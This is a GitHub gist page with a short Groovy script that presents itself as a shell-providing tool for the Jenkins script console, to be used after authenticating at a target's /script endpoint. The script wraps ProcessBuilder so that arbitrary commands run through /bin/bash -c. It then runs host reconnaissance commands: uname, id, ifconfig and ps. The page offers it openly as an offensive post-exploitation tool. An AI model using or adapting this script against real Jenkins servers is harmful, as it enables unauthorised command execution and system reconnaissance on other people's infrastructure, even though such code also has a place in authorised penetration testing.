Last active
December 12, 2019 10:33
-
-
Save mgeeky/66d562ea08f490e4784d4b91cc1b07be to your computer and use it in GitHub Desktop.
Jenkins Groovy Shell-providing script. To be used after passing authentication on http://IP:Port/script
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def shell(String command) { | |
println command | |
def process = new ProcessBuilder(addShellPrefix(command)) | |
.directory(new File(System.properties.'user.dir')) | |
.redirectErrorStream(true) | |
.start() | |
process.inputStream.eachLine {println it} | |
process.waitFor(); | |
return process.exitValue() | |
} | |
private def addShellPrefix(String command) { | |
commandArray = new String[3] | |
commandArray[0] = "/bin/bash" | |
commandArray[1] = "-c" | |
commandArray[2] = command | |
return commandArray | |
} | |
shell('uname -a') | |
shell('id') | |
shell('ifconfig -a') | |
shell('ps auxw') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment